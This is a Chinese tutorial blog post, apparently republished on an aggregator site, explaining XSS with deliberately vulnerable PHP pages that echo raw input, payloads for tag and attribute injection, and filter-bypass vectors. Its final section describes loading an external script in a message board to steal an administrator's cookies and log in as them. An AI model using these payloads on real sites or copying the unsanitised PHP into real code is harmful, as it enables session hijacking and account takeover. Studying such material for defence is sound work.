前端安全之 XSS攻击

 参看:

XSS的原理分析与解剖

前端安全 -- XSS攻击

web大前端开发中一些常见的安全性问题

1、前言

XSS 是面试时,hr提出来给我的,然后大体的浏览一遍,今天才查阅资料大体了解了它。

XSS 攻击:攻击者向HTML页面传入恶意的HTML或JS代码,当用户浏览该页面时,恶意代码执行,达到攻击的目的。

2、原理实现

在本地搭建PHP环境(使用phpstudy安装),然后在index.php文件中输入一下代码:

<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重现</title>
</head>
<body>
<form action="" method="get"><input type="text" name="xss_input"><input type="submit">
</form>
<hr>
<?phpheader("X-XSS-Protection: 0"); // 0: 表示关闭浏览器的XSS防护机制error_reporting(0); // 加上error_reporting(0);就不会弹出警告了$xss = $_GET['xss_input'];echo '<h5>你输入的字符为</h5><br />'.$xss;
?>
</body>
</html>

现在在输入框中输入abc普通字符串,然后在页面中显示:

之后查看页面代码,就会发现页面上多了一行代码:

<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重现</title>
</head>
<body>
<form action="" method="get"><input type="text" name="xss_input"><input type="submit">
</form>
<hr>/*------多了的代码:123-------*/
<h5>你输入的字符为</h5><br />123</body>
</html>

 

此时,我要是在输入<script>alert('xss')</script>这种可以被解析的代码时:

现在页面就显现出xss漏洞了。

之后查看页面代码,就会发现页面上多了一行代码:

<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重现</title>
</head>
<body>
<form action="" method="get"><input type="text" name="xss_input"><input type="submit">
</form>
<hr>
/*------多了的代码:<script>alert('xss')</script>-------*/
// 代码出现在 br标签 和 body标签中
<h5>你输入的字符为</h5><br /><script>alert('xss')</script></body>
</html>

 

3、xss利用输出环境来构造代码

现在我要改变 xss 攻击:

以上测试是在,标签中插入scrpit标签达到攻击的目的;现在我想要在html页面标签的属性中插入xss攻击代码。因此,当你我输入<script>alert('xss')</script>,不会显示出弹框了。

3.1测试代码

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>XSS利用输出的环境来构造代码</title>
</head><body><center><h6>把我们输入的字符串 输出到input里的value属性里</h6><form action="" method="get"><h6>请输入你想显现的字符串</h6><input type="text" name="xss_input_value" value="输入"><br><input type="submit"></form><hr><?phpheader("X-XSS-Protection: 0");error_reporting(0);//加上error_reporting(0);就不会弹出警告了  $xss = $_GET['xss_input_value'];if(isset($xss)){echo '<input type="text" value="'.$xss.'">';}else{echo '<input type="type" value="输出">';}?></center>
</body></html>

页面效果:

3.2 输入一

当我在输入框输入qwer字符串时,会在输出框显示我输入的字符串:

 

此时网页代码:

  <center><h6>把我们输入的字符串 输出到input里的value属性里</h6><form action="" method="get"><h6>请输入你想显现的字符串</h6><input type="text" name="xss_input_value" value="输入"><br><input type="submit"></form><hr><input type="text" value="qwer">  </center>

3.3输入二

现在我输入<script>alert('xss')</script>,字符串正常输入,明显的可以看到,并没有弹出对话框:

此时网页代码:

<body><center><h6>把我们输入的字符串 输出到input里的value属性里</h6><form action="" method="get"><h6>请输入你想显现的字符串</h6><input type="text" name="xss_input_value" value="输入"><br><input type="submit"></form><hr><input type="text" value="<script>alert('xss')</script>">  </center>
</body>

分析输出代码:

<input type="text" value="<script>alert('xss')</script>">  </center>

3.4 输入三

如果我输入">,就会变成:

<input type="text" value=""> ">  </center>

input提前闭合了!之后的">就被舍弃了,变成了普通文本。

3.5 输入四

如果我输入:"><script>alert('xss')</script>

显示效果:

3.6 输入五

现在我不想显示弹框攻击了,我想触发某种事件实现攻击,那么就输入以下内容:

" οnmοusemοve="alert('我就测试一下')"

显示结果:

页面代码:

  <center><h6>把我们输入的字符串 输出到input里的value属性里</h6><form action="" method="get"><h6>请输入你想显现的字符串</h6><input type="text" name="xss_input_value" value="输入"><br><input type="submit"></form><hr><input type="text" value="" onmousemove="alert('我就测试一下')"">  </center>

说明:输入以后,鼠标在移动是触发事件,形成xss攻击。

那么,我在<textarea> 标签中显示呢?

此时就这样输入:

</textarea> <script>alert(‘xss’)</script> // 就可以实现弹窗了

4、过滤的解决办法

假如说网站禁止过滤了script 这时该怎么办呢 ?

那么就需要记住:只要页面能触发你的js代码

有哪些方法呢?

<!-- 当找不到图片名为1的文件时,执行alert('xss') -->
<img scr=1 onerror=alert('xss')> <!-- 点击s时运行alert('xss') -->
<a href=javascrip:alert('xss')>s</a> <!-- 利用iframe的scr来弹窗 -->
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe><!-- 过滤了alert来执行弹窗 -->
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

5、xss的利用

<script scr="js_url"></script><img src=x onerror=appendChild(createElement('script')).src='js_url' />

比如我们在网站的留言区输入<script scr=”js_url”></script>

当管理员进后台浏览留言的时候,就会触发

然后管理员的cookies和后台地址还有管理员浏览器版本等等

你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,

就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。

转载于:https://www.cnblogs.com/houfee/p/11138398.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/550312.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux设置命令nmui,Linux网络配置及管理

一、IP、网关、路由、掩码网络间主机的通信是通常是基于TCP/IP协议。数据从A主机发送到网络中的B主机&#xff0c;需要通过层层包装及协议转发&#xff0c;最终通过B主机的IP地址定位&#xff0c;B主机才能最终接收到数据。这个过程很复杂&#xff0c;中间数据的处理是通过TCP/…

anaconda新建python2环境安装不了jupyterlab_在Mac下安装anaconda及配置jupyterLab和PyTorch的方法...

在Mac下安装anaconda及配置jupyterLab和PyTorch的方法1、 首先在anaconda官网上下载anaconda包(国内网速度不算太慢)https://www.anaconda.com/products/individual#macos2、 创建一个新的环境&#xff0c;用于Pytorch的学习conda create –name pytorchpython3.7标蓝部分可以换…

图片

转载于:https://www.cnblogs.com/water-1/p/11138418.html

idea 调节背景护眼_夜间用电脑亮瞎眼睛?这份夜间护眼指南来帮你。

题图&#xff1a;来自 Unsplash文/彭宏豪&#xff0c;笔名/安哥拉不知从什么时候起&#xff0c;「头秃」成了网友和周围人口中的一个高频词汇&#xff0c;似乎很多事情都离不了头秃——学到头秃、工作到头秃、熬夜到头秃等等&#xff0c;就连「突然」也渐渐演变成「秃然」。但对…

windows和linux命令的区别,linux和windows命令区别

命令的目的MS-DOSLinuxLinux 的简单实例复制文件copycpcp thisfile.txt /home/thisdirectory转移文件movemvmv thisfile.txt /home/thisdirectory列举文件dirlsLs清除屏幕clsclearClear关闭 shell 提示exitexitExit显示或设置日期datedateDate删除文件delrmrm thisfile.txt把输…

生成一个Cylinder

简介 用到了上一个博客的&#xff0c;AddPolygon。 生成的是一个筒状物体。 代码 // CreateCylinder.cpp: 定义控制台应用程序的入口点。 ////#include "stdafx.h" #include <iostream> #include "AddPolygon.h" #include <OpenMesh/Core/IO/Mesh…

linux下添加apt-get命令,Ubuntu Linux系统下apt-get命令整理

Ubuntu Linux系统下apt-get命令整理首次接触ubuntu&#xff0c;很多命令都需要sudo。尤其是安装命令都需要apt 。这里做个apt命令的简单汇总&#xff0c;方便一来了解下加深印象&#xff0c;二来以便以后使用查阅。常用的APT命令参数&#xff1a;apt-cache search package 搜索…

编写有效用例电子版_剖析用例设计方法的使用

今天给大家讲解的是用例设计方法的使用&#xff0c;在设计用例时该如何应用用例设计方法、设计出覆盖率高的测试用例呢&#xff1f;场景简介&#xff1a;普遍登录页面测试用例设计分析拿到需求&#xff0c;首先要做需求分析。我们看到登录界面有三个测试点&#xff1a;1.账号2.…

一个参数大小写引发的uploadify报错 Syntax error, unrecognized expression: #

上传控件uploadify 报错"Syntax error, unrecognized expression: #" 版本为 uploadify3.2 报错原因&#xff1a;参数ID【hidInfoId】小写错写成了大写。debug过程&#xff1a; ①&#xff1a;报错 "Syntax error, unrecognized expression: #" ②&#xf…

linux切换目录使用命令,linux命令切换目录的使用方法

1.cd - 作用是快速切换到前一个目录&#xff0c;如下:amosliamosli-pc:~$ cd learn/fd/amosliamosli-pc:~/learn/fd$ cd -/home/amosli2.dirs:显示目录栈,列出当前堆栈中保存的目录列表amosliamosli-pc:~/learn/fd$ dirs~/learn/fd说明: dirs的 -p参数可以每行一个目录的形式显…

python小孩的报酬_孩子做了家务,家长该不该支付“酬劳”呢?

现在有一些家长&#xff0c;跟自己的孩子签订“家务劳动劳务合同”&#xff1a;如刷碗一次付2元&#xff0c;扫地一次付2元&#xff0c;取牛奶一次付1元……活干完&#xff0c;经验收合格&#xff0c;结账&#xff0c;现金支付劳务报酬。这些家长认为这样做符合“等价交换”的原…

LinkedHashMap 源码详细分析(JDK1.8)

原文链接&#xff1a;https://www.imooc.com/article/22931转载于:https://www.cnblogs.com/Wbin01/p/11142250.html

linux冷备机怎么切换,linux – 热备用主机vs冷备用主机?

Sobrique explains how the manual intervention causes your proposed solution to be sup-optimal和ewwhite talks about probability of failure of various components.这两个IMO都提出了非常好的观点,应该加以深思熟虑.然而,到目前为止,似乎还有一个问题似乎没有人评论过,…

【Ubuntu日常技巧】Ubuntu命令行设置系统时区、时间

最近折腾手机上安装Ubuntu&#xff0c;发现显示的时间不对&#xff0c;可惜当前的 Date and Time菜单中没法进行时间设置&#xff0c;而且其显示的为London地区的时间&#xff0c;故通过命令行修改之&#xff1b; 1、确定所在时区的编号 可以通过tzselect命令实现&#xff1a; …

linux7 dns正向,Centos 7 搭建DNS正向解析和反向解析

Centos 7 搭建DNS正向解析和反向解析服务的三要素:安装-配置-启动1.使用yum安装DNSyum install bind -y2.修改配置文件vi /etc/named.conf修改以下内容&#xff1a;listen-on port 53 { any; };allow-query { any; };vi /etc/named.rfc1912.zones在末尾添加以下内容:zone "…

python databaseoperate_python开发_python操作mysql数据库

1 #-*- coding: utf-8 -*-2 #python operate mysql database3 importMySQLdb45 #数据库名称6 DATABASE_NAME 7 #host localhost or 172.0.0.18 HOST 9 #端口号10 PORT 11 #用户名称12 USER_NAME 13 #数据库密码14 PASSWORD 15 #数据库编码16 CHAR_SET 1718 #初始化参数1…

怎么查看linux网关,如何查看linux服务器网关

弹性云服务器 ECS弹性云服务器(Elastic Cloud Server)是一种可随时自助获取、可弹性伸缩的云服务器&#xff0c;帮助用户打造可靠、安全、灵活、高效的应用环境&#xff0c;确保服务持久稳定运行&#xff0c;提升运维效率三年低至5折&#xff0c;多种配置可选了解详情什么是弹性…

个人pkm软件 pim软件_个人申请软件著作权需要走哪些流程

软件著作权是企业的无形资产之一&#xff0c;它与商标权、专利权一起构成企业的知识产权&#xff0c;是企业投资、入股、融资等的有效无形资产&#xff0c;那么个人申请软件著作权需要走哪些流程&#xff1f;阅读完以下上海知识产权律师咨询为您整理的内容&#xff0c;一定会对…

知道主机名称 如何知道ip地址

举例 ping -4 raspberrypi 就可以知道 ip 地址了。 转载于:https://www.cnblogs.com/eat-too-much/p/11142897.html

python csdn博客_GitHub - 1783955902/CSDNBlogBackup: Python实现CSDN博客的完整备份

Python实现CSDN博客的完美备份出发点之所以造这个轮子无非是现有的轮子不好使&#xff0c;CSDN官网是推出的博客备份在系统中读不到博客数据&#xff0c;打开后还会闪退&#xff0c;其他人写的工具&#xff0c;要么是收费&#xff0c;要么只是对网页的下载&#xff0c;不能完整…